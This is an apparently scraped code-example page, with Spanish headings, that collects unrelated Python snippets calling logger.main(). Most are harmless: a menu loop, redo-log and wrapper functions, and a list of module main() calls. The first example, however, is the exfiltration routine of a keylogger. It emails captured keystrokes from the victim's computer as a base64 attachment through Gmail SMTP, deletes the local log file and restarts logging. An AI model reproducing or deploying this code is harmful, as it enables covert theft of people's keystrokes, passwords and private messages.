Ejemplo n.º 1
0
def send_email():
    # Setting up MIME
    message = MIMEMultipart()
    message['From'] = environ['EMAIL_FROM']
    message['To'] = environ['EMAIL_TO']
    password = environ['PASSWORD']
    message['Subject'] = f'Keys from {environ["COMPUTERNAME"]}'
    # Setting up message
    message.attach(
        MIMEText(f'{message["Subject"]} are located in this file: ', 'plain'))
    payload = MIMEBase('application', 'octate-stream')
    payload.set_payload(logger.get_keys_rb())
    encoders.encode_base64(payload)
    payload.add_header('Content-Decomposition',
                       'attachment',
                       filename='data.log')
    message.attach(payload)
    # Send email
    server = smtplib.SMTP('smtp.gmail.com', 587)
    server.ehlo()
    server.starttls()
    server.ehlo()
    server.login(message['From'], password)
    remove('data.log')
    msg = message.as_string()
    server.sendmail(message['From'], message['To'], msg)
    server.quit()
    logger.main()
Ejemplo n.º 2
0
def main():
    while True:
        orden = raw_input('¿Que quieres hacer?: ')
        if orden == 's':
            show_stats()
        elif orden == 'l':
            logg.main()
        elif orden == 't':
            pass
        elif orden == 'e':
            return False
Ejemplo n.º 3
0
def main_redo_log(redo_flavour, targets):
    import state, logger

    targets = state.fix_chdir(targets)
    return logger.main(targets, toplevel=True)
Ejemplo n.º 4
0
def run_logger():
    """Start the logger."""
    logger.main()
Ejemplo n.º 5
0
step.main()

# helper

# file classes
file.main()

script_file.main()

#template_file.main()
templates.main()
configuration_file.main()

context_dict.main()

logger.main()

forms.main()

# helper classes
'''
helper_declare_upsert_format.main()
#helper_fields_format.main()
#helper_insert_columns_format.main()
#helper_insert_values_format.main()
helper_required.main()
helper_required_insert_attributes_format.main()
helper_required_insert_format.main()
helper_required_update_format.main()
# dep helper_script_generate.main()
helper_set_clause_format.main()